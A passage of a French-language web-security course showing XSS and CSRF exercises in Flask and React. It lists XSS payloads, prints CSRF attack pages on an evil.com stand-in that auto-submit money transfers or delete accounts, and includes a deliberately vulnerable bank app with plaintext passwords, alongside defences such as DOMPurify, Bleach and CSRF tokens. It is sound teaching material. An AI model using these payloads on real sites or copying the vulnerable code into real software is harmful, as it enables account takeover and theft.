        "font-src 'self'; "
        "connect-src 'self'; "
        "frame-ancestors 'none';"
    )
    
    # Autres headers
    response.headers['X-Content-Type-Options'] = 'nosniff'
    response.headers['X-Frame-Options'] = 'DENY'
    response.headers['X-XSS-Protection'] = '1; mode=block'
    
    return response

if __name__ == '__main__':
    print("[SECURITE]  Réseau social SÉCURISÉ démarré sur http://localhost:5001")
    print("[OK] Protection XSS : Échappement HTML + CSP + Sanitization")
    app.run(debug=True, port=5001)
```

**Template Jinja2 sécurisé :**

```html
<!-- templates/search_results.html -->
<!DOCTYPE html>
<html lang="fr">
<head>
    <meta charset="UTF-8">
    <title>Résultats de recherche</title>
</head>
<body>
    <!-- [OK] Jinja2 échappe automatiquement {{ query }} -->
    <h1>Résultats pour : {{ query }}</h1>
    
    <ul>
    {% for user in results %}
        <li>{{ user.username }}</li>
    {% endfor %}
    </ul>
</body>
</html>
```

**Modifier React pour utiliser le port sécurisé et afficher le HTML échappé :**

```javascript
// Au lieu de dangerouslySetInnerHTML, utiliser du texte normal
<div className="post-content">
  {post.content}
</div>
```

---

## [CODE] EXERCICE 4 : ÉDITEUR MARKDOWN AVEC XSS

### Objectif

Créer un éditeur Markdown avec prévisualisation en temps réel, démontrant :
- XSS via Markdown malveillant
- Protection avec DOMPurify
- CSP pour bloquer les scripts inline

---

### PARTIE A : BACKEND FLASK

```python
# markdown_editor.py
from flask import Flask, request, jsonify
from flask_cors import CORS
import sqlite3
import markdown
import bleach

app = Flask(__name__)
CORS(app)

def init_db():
    conn = sqlite3.connect('articles.db')
    cursor = conn.cursor()
    
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS articles (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            title TEXT NOT NULL,
            markdown_content TEXT NOT NULL,
            html_content TEXT NOT NULL,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ''')
    
    conn.commit()
    conn.close()

# [X] ROUTE VULNÉRABLE : Conversion Markdown -> HTML
@app.route('/api/preview', methods=['POST'])
def preview_vulnerable():
    """
    Convertit Markdown en HTML
    VULNÉRABLE : Pas de sanitization du HTML généré
    """
    data = request.get_json()
    markdown_content = data.get('content', '')
    
    # [X] markdown.markdown() ne désactive pas le HTML brut
    html_content = markdown.markdown(markdown_content)
    
    return jsonify({"html": html_content})

# [OK] ROUTE SÉCURISÉE : Conversion avec sanitization
@app.route('/api/preview-secure', methods=['POST'])
def preview_secure():
    """
    Version sécurisée avec Bleach
    """
    data = request.get_json()
    markdown_content = data.get('content', '')
    
    # Convertir Markdown en HTML
    html_content = markdown.markdown(markdown_content)
    
    # [OK] Nettoyer le HTML avec Bleach
    safe_html = bleach.clean(
        html_content,
        tags=['p', 'br', 'strong', 'em', 'u', 'h1', 'h2', 'h3', 'ul', 'ol', 'li', 'a', 'code', 'pre'],
        attributes={'a': ['href', 'title']},
        strip=True
    )
    
    return jsonify({"html": safe_html})

if __name__ == '__main__':
    init_db()
    print("[NOTE] Éditeur Markdown démarré sur http://localhost:5000")
    app.run(debug=True, port=5000)
```

---

### PARTIE B : FRONTEND REACT

```bash
npx create-react-app markdown-xss-demo
cd markdown-xss-demo
npm install dompurify marked
```

```javascript
// src/App.js
import React, { useState } from 'react';
import DOMPurify from 'dompurify';
import { marked } from 'marked';
import './App.css';

function App() {
  const [markdown, setMarkdown] = useState('');
  const [preview, setPreview] = useState('');
  const [mode, setMode] = useState('vulnerable'); // vulnerable, client-purify, server-purify
  const [attackMode, setAttackMode] = useState(false);

  // Payloads XSS via Markdown
  const xssPayloads = [
    {
      name: "XSS via HTML brut dans Markdown",
      payload: `# Mon Article

Ceci est du texte normal.

<script>alert('XSS via HTML brut !')</script>

Suite de l'article...`,
      description: "Markdown autorise le HTML brut par défaut"
    },
    {
      name: "XSS via Image avec onerror",
      payload: `# Galerie Photos

Voici une belle image :

<img src=x onerror=alert('XSS via image')>`,
      description: "Attribut onerror déclenche du JavaScript"
    },
    {
      name: "XSS via lien JavaScript",
      payload: `# Liens utiles

Cliquez [ici](javascript:alert('XSS via lien')) pour continuer.`,
      description: "Protocole javascript: dans les liens"
    },
    {
      name: "XSS via SVG",
      payload: `# Logo du site

<svg onload=alert('XSS via SVG')></svg>`,
      description: "Balise SVG avec événement onload"
    },
    {
      name: "XSS via Iframe",
      payload: `# Vidéo embarquée

<iframe src="javascript:alert('XSS via iframe')"></iframe>`,
      description: "Iframe avec source JavaScript"
    }
  ];

  const loadPayload = (payload) => {
    setMarkdown(payload);
    handlePreview(payload);
  };

  // Prévisualisation selon le mode
  const handlePreview = async (content = markdown) => {
    if (mode === 'vulnerable') {
      // [X] VULNÉRABLE : marked() sans sanitization
      const html = marked(content);
      setPreview(html);
      
    } else if (mode === 'client-purify') {
      // [OK] SÉCURISÉ : DOMPurify côté client
      const html = marked(content);
      const clean = DOMPurify.sanitize(html);
      setPreview(clean);
      
    } else if (mode === 'server-purify') {
      // [OK] SÉCURISÉ : Sanitization côté serveur
      const response = await fetch('http://localhost:5000/api/preview-secure', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ content })
      });
      const data = await response.json();
      setPreview(data.html);
    }
  };

  return (
    <div className="App">
      <header className="App-header">
        <h1>[NOTE] Éditeur Markdown - Démo XSS</h1>
      </header>

      <div className="container">
        {/* MODE SELECTOR */}
        <div className="mode-selector">
          <h3>Mode de protection :</h3>
          <div className="mode-buttons">
            <button 
              className={mode === 'vulnerable' ? 'active danger' : 'danger'}
              onClick={() => setMode('vulnerable')}
            >
              [X] Vulnérable (aucune protection)
            </button>
            <button 
              className={mode === 'client-purify' ? 'active safe' : 'safe'}
              onClick={() => setMode('client-purify')}
            >
              [OK] DOMPurify (client)
            </button>
            <button 
              className={mode === 'server-purify' ? 'active safe' : 'safe'}
              onClick={() => setMode('server-purify')}
            >
              [OK] Bleach (serveur)
            </button>
          </div>
        </div>

        {/* ATTACK TOGGLE */}
        <div className="attack-toggle">
          <button onClick={() => setAttackMode(!attackMode)}>
            {attackMode ? '[SECURITE] Mode Normal' : '[DANGER] Mode Attaque'}
          </button>
        </div>

        {/* ATTACK PANEL */}
        {attackMode && (
          <div className="attack-panel">
            <h2>[DANGER] Payloads XSS Markdown</h2>
            
            {xssPayloads.map((attack, index) => (
              <div key={index} className="attack-card">
                <h3>{attack.name}</h3>
                <p>{attack.description}</p>
                <pre>{attack.payload}</pre>
                <button onClick={() => loadPayload(attack.payload)}>
                  Charger ce payload
                </button>
              </div>
            ))}
          </div>
        )}

        {/* EDITOR */}
        <div className="editor-container">
          <div className="editor-pane">
            <h2>[EDIT] Éditeur Markdown</h2>
            <textarea
              value={markdown}
              onChange={(e) => {
                setMarkdown(e.target.value);
                handlePreview(e.target.value);
              }}
              placeholder="Tapez votre Markdown ici..."
            />
          </div>

          <div className="preview-pane">
            <h2>[EYE] Prévisualisation</h2>
            <div 
              className="preview-content"
              dangerouslySetInnerHTML={{ __html: preview }}
            />
          </div>
        </div>

        {/* INFO */}
        <div className="info-section">
          <h3>[DOCS] Comment ça fonctionne ?</h3>
          
          <div className="info-grid">
            <div className="info-card danger-card">
              <h4>[X] Mode Vulnérable</h4>
              <p>
                Utilise <code>marked()</code> directement sans sanitization.
                Le HTML brut dans le Markdown est conservé et s'exécute.
              </p>
              <pre>{`const html = marked(markdown);
setPreview(html); // [X] Dangereux !`}</pre>
            </div>

            <div className="info-card safe-card">
              <h4>[OK] DOMPurify (Client)</h4>
              <p>
                Utilise DOMPurify pour nettoyer le HTML avant l'affichage.
                Bloque tous les scripts, événements, et protocoles dangereux.
              </p>
              <pre>{`const html = marked(markdown);
const clean = DOMPurify.sanitize(html);
setPreview(clean); // [OK] Sécurisé`}</pre>
            </div>

            <div className="info-card safe-card">
              <h4>[OK] Bleach (Serveur)</h4>
              <p>
                Le serveur Flask utilise Bleach pour autoriser seulement
                certaines balises HTML sûres. Protection côté serveur.
              </p>
              <pre>{`safe_html = bleach.clean(
  html_content,
  tags=['p', 'strong', ...],
  strip=True
)`}</pre>
            </div>
          </div>
        </div>
      </div>
    </div>
  );
}

export default App;
```

---

*(Je continue avec le CSS de l'exercice 4, puis on passe au CSRF et aux autres failles ?)*

### PARTIE C : CSS (EXERCICE 4)

```css
/* src/App.css */
* {
  margin: 0;
  padding: 0;
  box-sizing: border-box;
}

body {
  font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
  background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
  min-height: 100vh;
}

.App-header {
  background: rgba(0, 0, 0, 0.6);
  color: white;
  padding: 2rem;
  text-align: center;
  box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}

.container {
  max-width: 1600px;
  margin: 2rem auto;
  padding: 0 2rem;
}

/* === MODE SELECTOR === */
.mode-selector {
  background: white;
  padding: 1.5rem;
  border-radius: 12px;
  margin-bottom: 2rem;
  box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}

.mode-selector h3 {
  color: #333;
  margin-bottom: 1rem;
}

.mode-buttons {
  display: flex;
  gap: 1rem;
}

.mode-buttons button {
  flex: 1;
  padding: 1rem;
  border: 2px solid;
  border-radius: 8px;
  font-size: 1rem;
  font-weight: bold;
  cursor: pointer;
  transition: all 0.3s;
}

.mode-buttons button.danger {
  background: white;
  color: #ff4444;
  border-color: #ff4444;
}

.mode-buttons button.danger:hover {
  background: #ff4444;
  color: white;
}

.mode-buttons button.danger.active {
  background: #ff4444;
  color: white;
  box-shadow: 0 4px 12px rgba(255, 68, 68, 0.4);
}

.mode-buttons button.safe {
  background: white;
  color: #4caf50;
  border-color: #4caf50;
}

.mode-buttons button.safe:hover {
  background: #4caf50;
  color: white;
}

.mode-buttons button.safe.active {
  background: #4caf50;
  color: white;
  box-shadow: 0 4px 12px rgba(76, 175, 80, 0.4);
}

/* === ATTACK TOGGLE === */
.attack-toggle {
  text-align: center;
  margin-bottom: 2rem;
}

.attack-toggle button {
  background: linear-gradient(135deg, #ff4444 0%, #cc0000 100%);
  color: white;
  border: none;
  padding: 1rem 3rem;
  font-size: 1.2rem;
  border-radius: 50px;
  cursor: pointer;
  box-shadow: 0 4px 15px rgba(255, 68, 68, 0.4);
  transition: all 0.3s;
  font-weight: bold;
}

.attack-toggle button:hover {
  transform: translateY(-3px);
  box-shadow: 0 6px 20px rgba(255, 68, 68, 0.6);
}

/* === ATTACK PANEL === */
.attack-panel {
  background: white;
  padding: 2rem;
  border-radius: 12px;
  margin-bottom: 2rem;
  box-shadow: 0 10px 40px rgba(0, 0, 0, 0.2);
}

.attack-panel h2 {
  color: #ff4444;
  margin-bottom: 2rem;
  text-align: center;
}

.attack-card {
  background: #f9f9f9;
  padding: 1.5rem;
  border-radius: 8px;
  margin-bottom: 1.5rem;
  border-left: 4px solid #ff4444;
}

.attack-card h3 {
  color: #ff4444;
  margin-bottom: 0.5rem;
}

.attack-card p {
  color: #666;
  margin-bottom: 1rem;
}

.attack-card pre {
  background: #2d2d2d;
  color: #f8f8f2;
  padding: 1rem;
  border-radius: 6px;
  overflow-x: auto;
  font-family: 'Courier New', monospace;
  font-size: 0.9rem;
  margin-bottom: 1rem;
}

.attack-card button {
  background: #ff4444;
  color: white;
  border: none;
  padding: 0.8rem 1.5rem;
  border-radius: 6px;
  cursor: pointer;
  font-weight: bold;
  transition: all 0.3s;
}

.attack-card button:hover {
  background: #cc0000;
  transform: translateY(-2px);
}

/* === EDITOR === */
.editor-container {
  display: grid;
  grid-template-columns: 1fr 1fr;
  gap: 2rem;
  margin-bottom: 2rem;
}

.editor-pane,
.preview-pane {
  background: white;
  padding: 1.5rem;
  border-radius: 12px;
  box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}

.editor-pane h2,
.preview-pane h2 {
  color: #667eea;
  margin-bottom: 1rem;
}

.editor-pane textarea {
  width: 100%;
  min-height: 400px;
  padding: 1rem;
  border: 2px solid #ddd;
  border-radius: 8px;
  font-family: 'Courier New', monospace;
  font-size: 0.95rem;
  resize: vertical;
  transition: border-color 0.3s;
}

.editor-pane textarea:focus {
  outline: none;
  border-color: #667eea;
}

.preview-content {
  min-height: 400px;
  padding: 1rem;
  border: 2px dashed #ddd;
  border-radius: 8px;
  background: #f9f9f9;
}

.preview-content h1 {
  color: #333;
  margin-top: 1rem;
  margin-bottom: 0.5rem;
}

.preview-content h2 {
  color: #555;
  margin-top: 1rem;
  margin-bottom: 0.5rem;
}

.preview-content p {
  color: #666;
  line-height: 1.6;
  margin-bottom: 1rem;
}

.preview-content code {
  background: #f0f0f0;
  padding: 2px 6px;
  border-radius: 3px;
  font-family: 'Courier New', monospace;
}

.preview-content pre {
  background: #2d2d2d;
  color: #f8f8f2;
  padding: 1rem;
  border-radius: 6px;
  overflow-x: auto;
}

/* === INFO SECTION === */
.info-section {
  background: white;
  padding: 2rem;
  border-radius: 12px;
  box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}

.info-section h3 {
  color: #667eea;
  margin-bottom: 1.5rem;
  text-align: center;
  font-size: 1.8rem;
}

.info-grid {
  display: grid;
  grid-template-columns: repeat(auto-fit, minmax(350px, 1fr));
  gap: 1.5rem;
}

.info-card {
  padding: 1.5rem;
  border-radius: 10px;
  border-left: 5px solid;
}

.info-card h4 {
  margin-bottom: 1rem;
  font-size: 1.2rem;
}

.info-card p {
  color: #666;
  line-height: 1.6;
  margin-bottom: 1rem;
}

.info-card pre {
  background: #2d2d2d;
  color: #f8f8f2;
  padding: 1rem;
  border-radius: 6px;
  overflow-x: auto;
  font-family: 'Courier New', monospace;
  font-size: 0.85rem;
}

.info-card code {
  background: #f0f0f0;
  padding: 2px 6px;
  border-radius: 3px;
  font-family: 'Courier New', monospace;
  color: #c7254e;
}

.danger-card {
  background: #ffebee;
  border-color: #f44336;
}

.danger-card h4 {
  color: #c62828;
}

.safe-card {
  background: #e8f5e9;
  border-color: #4caf50;
}

.safe-card h4 {
  color: #2e7d32;
}

/* === RESPONSIVE === */
@media (max-width: 1024px) {
  .editor-container {
    grid-template-columns: 1fr;
  }
  
  .mode-buttons {
    flex-direction: column;
  }
  
  .info-grid {
    grid-template-columns: 1fr;
  }
}
```

---

## [GRAPHIQUE] RÉCAPITULATIF XSS

### [OK] Protections essentielles

| Protection | Efficacité | Facilité | Quand utiliser |
|-----------|-----------|----------|----------------|
| Échappement HTML | ***** | [OK] Facile | **TOUJOURS** pour texte utilisateur |
| DOMPurify | ***** | [OK] Facile | Contenu riche (Markdown, HTML) |
| CSP | **** | [ATTENTION] Moyen | Toute application web |
| HTTPOnly cookies | ***** | [OK] Facile | **TOUJOURS** pour tokens session |
| Template engines | ***** | [OK] Facile | Jinja2, React (auto-escape) |
| Bleach/sanitization | **** | [OK] Facile | Backend, contenu riche |

---

### [X] Erreurs communes

- [X] Utiliser `dangerouslySetInnerHTML` sans sanitization
- [X] Désactiver l'auto-escape des templates
- [X] Faire confiance aux données utilisateur
- [X] Oublier d'échapper dans les attributs HTML
- [X] Ne pas valider les URLs (`javascript:`, `data:`)

---

# 3. CROSS-SITE REQUEST FORGERY (CSRF)

## [DOCS] THÉORIE APPROFONDIE

### Qu'est-ce que le CSRF ?

**Définition :**
Le Cross-Site Request Forgery (CSRF) est une attaque qui force un utilisateur authentifié à exécuter des actions non désirées sur une application web où il est connecté.

**Analogie simple :**

Imagine que tu es connecté à ta banque en ligne. Un attaquant te fait cliquer sur un lien qui dit "Voir des chatons mignons [CAT_FACE]", mais en réalité, ce lien **envoie secrètement** une demande à ta banque pour transférer de l'argent vers le compte de l'attaquant.

Puisque tu es déjà connecté, la banque pense que **c'est toi** qui fais la demande !

---

### Comment fonctionne un CSRF ?

**Prérequis pour une attaque CSRF :**
1. La victime est **authentifiée** sur le site cible (cookie de session actif)
2. L'attaquant connaît la **structure des requêtes** du site
3. Aucune protection CSRF en place

---

**Scénario d'attaque :**

**1. Victime connectée à une banque :**

```
Cookie: session_id=abc123
```

**2. Attaquant crée une page malveillante :**

```html
<!-- https://evil.com/cute-cats.html -->
<!DOCTYPE html>
<html>
<head>
  <title>Chatons mignons [CAT_FACE]</title>
</head>
<body>
  <h1>Chargement des photos...</h1>
  
  <!-- [X] Formulaire caché qui se soumet automatiquement -->
  <form id="evil-form" action="https://bank.com/transfer" method="POST">
    <input type="hidden" name="to_account" value="attacker123">
    <input type="hidden" name="amount" value="1000">
  </form>
  
  <script>
    // Soumet automatiquement le formulaire
    document.getElementById('evil-form').submit();
  </script>
</body>
</html>
```

**3. Victime clique sur le lien :**

L'attaquant envoie un email :
```
Sujet : Vous allez adorer ces photos !
Cliquez ici : https://evil.com/cute-cats.html
```

**4. La requête POST est envoyée :**

```http
POST /transfer HTTP/1.1
Host: bank.com
Cookie: session_id=abc123
Content-Type: application/x-www-form-urlencoded

to_account=attacker123&amount=1000
```

**5. La banque traite la requête :**

La banque voit :
- [OK] Cookie de session valide (`session_id=abc123`)
- [OK] Requête POST vers `/transfer`
- [OK] Paramètres valides

-> **Transfert effectué !** [ARGENT]

---

### Types d'attaques CSRF

#### 1. **CSRF via formulaire POST**

Le plus classique (exemple ci-dessus).

---

#### 2. **CSRF via requête GET**

**Code vulnérable :**

```python
@app.route('/delete-account')
def delete_account():
    user_id = session.get('user_id')
    # [X] Action destructive sur GET !
    delete_user(user_id)
    return "Compte supprimé"
```

**Attaque via image :**

```html
<!-- Sur n'importe quelle page -->
<img src="https://site.com/delete-account" style="display:none">
```

Dès que la victime charge la page, son compte est **supprimé** !

---

#### 3. **CSRF via AJAX**

```html
<script>
fetch('https://bank.com/transfer', {
  method: 'POST',
  credentials: 'include', // Envoie les cookies
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    to_account: 'attacker123',
    amount: 1000
  })
});
</script>
```

**Protection :** CORS bloque normalement ce type de requête, **SAUF** si le serveur autorise explicitement l'origine malveillante.

---

#### 4. **Login CSRF**

Force la victime à se connecter avec le compte de l'attaquant !

**Scénario :**
1. Attaquant crée un compte sur un site de shopping
2. Force la victime à se connecter avec ce compte (via CSRF)
3. La victime achète des articles
4. L'attaquant récupère les articles (livraison à son adresse)

```html
<form action="https://shop.com/login" method="POST">
  <input type="hidden" name="username" value="attacker_account">
  <input type="hidden" name="password" value="attacker_password">
</form>
<script>document.forms[0].submit();</script>
```

---

### Impact d'un CSRF

| Action | Impact | Exemple |
|--------|--------|---------|
| **Transfert d'argent** | CRITIQUE | Banque en ligne |
| **Changement de mot de passe** | CRITIQUE | Prise de contrôle du compte |
| **Suppression de compte** | Élevé | Perte de données |
| **Changement d'email** | Élevé | Perte d'accès au compte |
| **Publication de contenu** | Moyen | Spam, diffamation |
| **Ajout au panier** | Faible | Déni de service léger |

---

### Cas réels

**1. Gmail (2007)**
- **Faille :** CSRF sur les filtres Gmail
- **Impact :** Les attaquants pouvaient créer des filtres pour transférer tous les emails vers leur adresse

**2. YouTube (2008)**
- **Faille :** CSRF sur "Ajouter aux favoris"
- **Impact :** Un ver s'est propagé, ajoutant une vidéo malveillante aux favoris de millions d'utilisateurs

**3. Netflix (2006)**
- **Faille :** CSRF sur "Ajouter des films à la file d'attente"
- **Impact :** Les attaquants pouvaient modifier la liste de films des victimes

---

### Comment se protéger ?

#### [OK] **1. CSRF Token (Synchronizer Token Pattern)**

**Principe :** 
Générer un token unique et secret pour chaque session/formulaire, et le valider côté serveur.

**Backend Flask :**

```python
from flask import Flask, session, request, jsonify
from flask_wtf.csrf import CSRFProtect
import secrets

app = Flask(__name__)
app.secret_key = secrets.token_hex(32)

# [OK] Activer la protection CSRF globale
csrf = CSRFProtect(app)

@app.route('/get-csrf-token')
def get_csrf_token():
    """Génère et retourne un token CSRF"""
    if 'csrf_token' not in session:
        session['csrf_token'] = secrets.token_hex(32)
    
    return jsonify({"csrf_token": session['csrf_token']})

@app.route('/transfer', methods=['POST'])
def transfer():
    """
    Transfert d'argent avec protection CSRF
    """
    # [OK] Vérifier le token CSRF
    token_from_client = request.headers.get('X-CSRF-Token')
    token_from_session = session.get('csrf_token')
    
    if not token_from_client or token_from_client != token_from_session:
        return jsonify({"error": "CSRF token invalide"}), 403
    
    # Traiter le transfert
    to_account = request.json.get('to_account')
    amount = request.json.get('amount')
    
    # ... logique de transfert ...
    
    return jsonify({"success": True})
```

**Frontend React :**

```javascript
const [csrfToken, setCsrfToken] = useState('');

// Récupérer le token au chargement
useEffect(() => {
  fetch('/get-csrf-token')
    .then(res => res.json())
    .then(data => setCsrfToken(data.csrf_token));
}, []);

// Envoyer le token dans les requêtes
const handleTransfer = async () => {
  await fetch('/transfer', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'X-CSRF-Token': csrfToken // [OK] Token CSRF
    },
    body: JSON.stringify({
      to_account: '123456',
      amount: 100
    })
  });
};
```

**Pourquoi ça protège ?**

L'attaquant ne peut **pas** connaître le token CSRF car :
- Il est généré aléatoirement
- Stocké dans la session (cookie HTTPOnly)
- Différent pour chaque utilisateur
- Impossible à deviner

Même si l'attaquant force la victime à envoyer une requête, **sans le token valide**, la requête est rejetée.

---

#### [OK] **2. SameSite Cookie**

**Principe :**
Empêcher l'envoi des cookies dans les requêtes cross-site.

```python
from flask import Flask, make_response

@app.route('/login', methods=['POST'])
def login():
    # ... authentification ...
    
    response = make_response(redirect('/dashboard'))
    
    # [OK] Cookie SameSite
    response.set_cookie(
        'session_id',
        value=session_token,
        httponly=True,
        secure=True,
        samesite='Lax'  # ou 'Strict'
    )
    
    return response
```

**Valeurs de SameSite :**

| Valeur | Comportement | Protection CSRF |
|--------|--------------|-----------------|
| `Strict` | Cookie **jamais** envoyé en cross-site | ***** Maximale |
| `Lax` | Cookie envoyé pour navigation (GET), pas pour POST cross-site | **** Bonne |
| `None` | Cookie envoyé partout (requiert `Secure`) | [X] Aucune |

**Exemple avec Strict :**

```
Utilisateur sur https://evil.com
Clique sur lien vers https://bank.com
-> Cookie PAS envoyé (protection CSRF)
-> Utilisateur doit se reconnecter

Utilisateur tape directement https://bank.com dans la barre
-> Cookie envoyé normalement
```

**Exemple avec Lax :**

```
Formulaire sur https://evil.com -> POST vers https://bank.com
-> Cookie PAS envoyé [OK] (Protection CSRF)

Lien sur https://evil.com -> GET vers https://bank.com
-> Cookie envoyé (permet la navigation normale)
```

**[ATTENTION] Lax est recommandé pour la compatibilité.**

---

#### [OK] **3. Double Submit Cookie**

**Principe :**
Stocker le token CSRF à la fois dans un cookie ET dans un header/body de requête.

```python
import secrets
from flask import Flask, request, make_response, jsonify

@app.route('/get-token')
def get_token():
    token = secrets.token_hex(32)
    
    response = make_response(jsonify({"csrf_token": token}))
    
    # [OK] Stocker aussi dans un cookie
    response.set_cookie('csrf_token', token, httponly=False, samesite='Lax')
    
    return response

@app.route('/transfer', methods=['POST'])
def transfer():
    # [OK] Comparer cookie et header
    token_from_cookie = request.cookies.get('csrf_token')
    token_from_header = request.headers.get('X-CSRF-Token')
    
    if not token_from_cookie or token_from_cookie != token_from_header:
        return jsonify({"error": "CSRF token invalide"}), 403
    
    # ... traiter la requête ...
```

**Frontend :**

```javascript
// Le token est déjà dans le cookie
// Juste besoin de le lire et l'envoyer dans le header

const getCookie = (name) => {
  const value = `; ${document.cookie}`;
  const parts = value.split(`; ${name}=`);
  if (parts.length === 2) return parts.pop().split(';').shift();
};

const handleTransfer = async () => {
  const csrfToken = getCookie('csrf_token');
  
  await fetch('/transfer', {
    method: 'POST',
    headers: {
      'X-CSRF-Token': csrfToken // [OK] Token du cookie
    },
    body: JSON.stringify({ ... })
  });
};
```

**Pourquoi ça protège ?**

Un site malveillant peut forcer le navigateur à envoyer le **cookie**, mais il ne peut **pas lire** le cookie (Same-Origin Policy) pour le mettre dans le header.

---

#### [OK] **4. Vérification de l'origine/referer**

```python
@app.route('/transfer', methods=['POST'])
def transfer():
    # [OK] Vérifier l'origine de la requête
    origin = request.headers.get('Origin')
    referer = request.headers.get('Referer')
    
    allowed_origins = ['https://bank.com', 'https://www.bank.com']
    
    if origin not in allowed_origins:
        return jsonify({"error": "Origine non autorisée"}), 403
    
    # ... traiter ...
```

**[ATTENTION] Limitation :**
- Headers peuvent être absents (politiques de confidentialité)
- Ne pas utiliser seul, combiner avec token CSRF

---

#### [OK] **5. Re-authentification pour actions sensibles**

```python
@app.route('/delete-account', methods=['POST'])
def delete_account():
    # [OK] Demander le mot de passe pour confirmer
    password = request.json.get('password')
    
    if not verify_password(password):
        return jsonify({"error": "Mot de passe incorrect"}), 401
    
    # Supprimer le compte
    delete_user(session.get('user_id'))
    
    return jsonify({"success": True})
```

---

## [CODE] EXERCICE 5 : BANQUE EN LIGNE AVEC CSRF

### Objectif

Créer une application bancaire simulée avec :
- Connexion utilisateur
- Transfert d'argent
- Historique des transactions
- **Démonstration d'attaque CSRF**
- **Protection avec tokens CSRF**

---

### PARTIE A : BACKEND FLASK VULNÉRABLE

```python
# bank_vulnerable.py
from flask import Flask, request, jsonify, session, render_template_string
from flask_cors import CORS
import sqlite3
import secrets
from datetime import datetime

app = Flask(__name__)
app.secret_key = 'insecure_key'
CORS(app, supports_credentials=True)

def init_db():
    """Initialise la base de données bancaire"""
    conn = sqlite3.connect('bank.db')
    cursor = conn.cursor()
    
    # Table utilisateurs
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT UNIQUE NOT NULL,
            password TEXT NOT NULL,
            balance REAL DEFAULT 1000.00
        )
    ''')
    
    # Table transactions
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS transactions (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            from_user_id INTEGER NOT NULL,
            to_account TEXT NOT NULL,
            amount REAL NOT NULL,
            timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
            FOREIGN KEY (from_user_id) REFERENCES users(id)
        )
    ''')
    
    # Créer des utilisateurs de test
    users = [
        ('alice', 'alice123', 5000.00),
        ('bob', 'bob456', 3000.00),
        ('attacker', 'hack123', 100.00)
    ]
    
    try:
        cursor.executemany(
            "INSERT INTO users (username, password, balance) VALUES (?, ?, ?)",
            users
        )
        conn.commit()
    except sqlite3.IntegrityError:
        pass  # Utilisateurs déjà créés
    
    conn.close()
    print("[OK] Base de données bancaire initialisée")

# [X] ROUTE VULNÉRABLE : Login
@app.route('/api/login', methods=['POST'])
def login():
    """
    Authentification utilisateur
    Pas de protection CSRF sur le login -> Login CSRF possible
    """
    data = request.get_json()
    username = data.get('username')
    password = data.get('password')
    
    conn = sqlite3.connect('bank.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute(
        "SELECT * FROM users WHERE username = ? AND password = ?",
        (username, password)
    )
    
    user = cursor.fetchone()
    conn.close()
    
    if user:
        session['user_id'] = user['id']
        session['username'] = user['username']
        
        return jsonify({
            "success": True,
            "user": {
                "id": user['id'],
                "username": user['username'],
                "balance": user['balance']
            }
        })
    
    return jsonify({"error": "Identifiants invalides"}), 401

# [X] ROUTE VULNÉRABLE : Transfert (CSRF)
@app.route('/api/transfer', methods=['POST'])
def transfer_vulnerable():
    """
    Transfert d'argent
    VULNÉRABLE : Aucune protection CSRF !
    """
    if 'user_id' not in session:
        return jsonify({"error": "Non authentifié"}), 401
    
    data = request.get_json()
    to_account = data.get('to_account')
    amount = float(data.get('amount'))
    
    user_id = session['user_id']
    
    # Vérifier le solde
    conn = sqlite3.connect('bank.db')
    cursor = conn.cursor()
    
    cursor.execute("SELECT balance FROM users WHERE id = ?", (user_id,))
    balance = cursor.fetchone()[0]
    
    if balance < amount:
        conn.close()
        return jsonify({"error": "Solde insuffisant"}), 400
    
    # Effectuer le transfert
    cursor.execute(
        "UPDATE users SET balance = balance - ? WHERE id = ?",
        (amount, user_id)
    )
    
    # Enregistrer la transaction
    cursor.execute(
        "INSERT INTO transactions (from_user_id, to_account, amount) VALUES (?, ?, ?)",
        (user_id, to_account, amount)
    )
    
    conn.commit()
    
    # Nouveau solde
    cursor.execute("SELECT balance FROM users WHERE id = ?", (user_id,))
    new_balance = cursor.fetchone()[0]
    
    conn.close()
    
    return jsonify({
        "success": True,
        "new_balance": new_balance,
        "message": f"Transfert de {amount}€ vers {to_account} effectué"
    })

# Route : Solde
@app.route('/api/balance')
def get_balance():
    if 'user_id' not in session:
        return jsonify({"error": "Non authentifié"}), 401
    
    conn = sqlite3.connect('bank.db')
    cursor = conn.cursor()
    cursor.execute("SELECT balance FROM users WHERE id = ?", (session['user_id'],))
    balance = cursor.fetchone()[0]
    conn.close()
    
    return jsonify({"balance": balance})

# Route : Historique des transactions
@app.route('/api/transactions')
def get_transactions():
    if 'user_id' not in session:
        return jsonify({"error": "Non authentifié"}), 401
    
    conn = sqlite3.connect('bank.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute(
        "SELECT * FROM transactions WHERE from_user_id = ? ORDER BY timestamp DESC LIMIT 20",
        (session['user_id'],)
    )
    
    transactions = [dict(row) for row in cursor.fetchall()]
    conn.close()
    
    return jsonify(transactions)

# Route : Logout
@app.route('/api/logout', methods=['POST'])
def logout():
    session.clear()
    return jsonify({"success": True})

# ═══════════════════════════════════════════════════════════════
# PAGE MALVEILLANTE (CSRF ATTACK)
# ═══════════════════════════════════════════════════════════════

@app.route('/evil-page')
def evil_page():
    """
    Page malveillante qui effectue un transfert CSRF
    """
    return render_template_string('''
<!DOCTYPE html>
<html>
<head>
    <title>[WRAPPED_PRESENT] Vous avez gagné 1000€ !</title>
    <style>
        body {
            font-family: Arial;
            text-align: center;
            padding: 50px;
            background: linear-gradient(135deg, #667eea, #764ba2);
            color: white;
        }
        .gift {
            font-size: 100px;
        }
    </style>
</head>
<body>
    <div class="gift">[WRAPPED_PRESENT]</div>
